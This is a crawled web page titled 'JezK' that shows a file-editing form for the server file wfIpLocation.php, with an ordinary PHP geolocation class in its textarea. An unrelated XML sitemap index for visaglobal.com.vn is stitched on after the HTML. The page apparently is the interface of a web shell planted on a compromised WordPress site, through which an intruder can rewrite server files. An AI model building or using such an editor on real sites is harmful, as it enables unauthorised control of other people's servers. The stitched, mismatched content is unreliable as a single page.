
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: wfIpLocation.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

class wfIpLocation {
	const DATABASE_FILE_NAME = 'geoip.mmdb'; //Also defined in bootstrap.php

	const LANGUAGE_DEFAULT = 'en';
	const LANGUAGE_SEPARATOR = '_';

	private $record;

	public function __construct($record) {
		$this-&gt;record = is_array($record) ? $record : array();
	}

	public function getCountryRecord() {
		if (array_key_exists('country', $this-&gt;record)) {
			$country = $this-&gt;record['country'];
			if (is_array($country))
				return $country;
		}
		return array();
	}

	public function getCountryField($field) {
		$country = $this-&gt;getCountryRecord();
		if (array_key_exists($field, $country))
			return $country[$field];
		return null;
	}

	public function getCountryCode() {
		$isoCode = $this-&gt;getCountryField('iso_code');
		if (is_string($isoCode) &amp;&amp; strlen($isoCode) === 2)
			return $isoCode;
		return null;
	}

	private function findBestLanguageMatch($options, $preferredLanguage = self::LANGUAGE_DEFAULT) {
		$languages = array();
		if (is_string($preferredLanguage))
			$languages[] = $preferredLanguage;
		if (strpos($preferredLanguage, self::LANGUAGE_SEPARATOR) !== false) {
			$components = explode(self::LANGUAGE_SEPARATOR, $preferredLanguage);
			$baseLanguage = $components[0];
			if ($baseLanguage !== self::LANGUAGE_DEFAULT)
				$languages[] = $baseLanguage;
		}
		if ($preferredLanguage !== self::LANGUAGE_DEFAULT)
			$languages[] = self::LANGUAGE_DEFAULT;
		foreach ($languages as $language) {
			if (array_key_exists($language, $options))
				return $options[$language];
		}
		if (!empty($options))
			return reset($options);
		return null;
	}

	public function getCountryName($preferredLanguage = self::LANGUAGE_DEFAULT) {
		$names = $this-&gt;getCountryField('names');
		if (is_array($names) &amp;&amp; !empty($names))
			return $this-&gt;findBestLanguageMatch($names, $preferredLanguage);
		return null;
	}

}</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//visaglobal.com.vn/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://visaglobal.com.vn/post-sitemap1.xml</loc>
		<lastmod>2026-08-28T06:51:31+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://visaglobal.com.vn/post-sitemap2.xml</loc>
		<lastmod>2026-08-27T04:35:16+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://visaglobal.com.vn/post-sitemap3.xml</loc>
		<lastmod>2026-08-27T04:24:40+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://visaglobal.com.vn/page-sitemap.xml</loc>
		<lastmod>2026-08-26T09:38:50+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://visaglobal.com.vn/category-sitemap.xml</loc>
		<lastmod>2026-08-28T06:51:31+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://visaglobal.com.vn/video-sitemap.xml</loc>
		<lastmod>2026-08-26T09:38:50+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Rank Math SEO Plugin (c) Rank Math - rankmath.com -->